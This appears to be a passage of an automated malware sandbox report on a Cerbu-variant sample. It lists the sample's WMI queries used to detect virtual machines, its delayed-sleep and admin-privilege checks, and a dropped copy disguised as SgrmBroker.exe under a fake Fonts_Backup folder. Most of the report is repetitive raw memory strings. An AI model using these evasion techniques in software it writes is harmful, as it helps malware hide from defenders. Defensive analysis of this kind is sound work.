Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PortConnector
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM CIM_PhysicalConnector
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM CIM_Slot
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PortConnector
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM CIM_PhysicalConnector
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM CIM_Slot

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9901

Jump to behavior

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_24-17802

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5272

Thread sleep count: 9901 > 30

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1655713768.00000245B0E99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gment offers made9606Retrieval: Average branch rate9608Discovery: Successful discoveries9610Hosted Cache: Segment offers queue size9612Publication Cache: Published contents9614Local Cache: Average access time3432WSMan Quota Statistics3434Total Requests/Second3436User Quota Violations/Second3438System Quota Violations/Second3440Active Shells3442Active Operations3444Active Users3446Process ID1914Hyper-V VM Vid Partition1916Physical Pages Allocated1918Preferred NUMA Node Index1920Remote Physical Pages1922ClientHandles1924CompressPackTimeInUs1926CompressUnpackTimeInUs1928CompressPackInputSizeInBytes1930CompressUnpackInputSizeInBytes1932CompressPackOutputSizeInBytes1934CompressUnpackOutputSizeInBytes1936CompressUnpackUncompressedInputSizeInBytes1938CompressPackDiscardedSizeInBytes1940CompressWorkspaceSizeInBytes1942CompressScratchPoolSizeInBytes1944CryptPackTimeInUs1946CryptUnpackTimeInUs1948CryptPackInputSizeInBytes1950CryptUnpackInputSizeInBytes1952CryptPackOutputSizeInBytes1954CryptUnpackOutputSizeInBytes1956CryptScratchPoolSizeInBytes?
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor0&
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus PipesL
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1665045921.00000245B110B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Swi
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine BusA
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2444417839.00000236AD049000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD048000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V HypervisorD0nf
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1653708046.00000245AF59A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table All
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partitionr
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipes
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisorn
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1657405472.00000245AF5A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1656667178.00000245AF5A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976H
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V HypervisorrD
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partitionl5
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD00E000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD001000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD038000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD039000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD038000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD039000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor0Y9
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2444417839.00000236AD049000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD048000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partitionem)
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2444417839.00000236AD049000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD048000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes_@z
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical ProcessorllKAw
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid PartitionY
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processorexe
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1664616460.00000245B0E61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O T
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processor.syse
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partitionll
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD038000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD039000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition
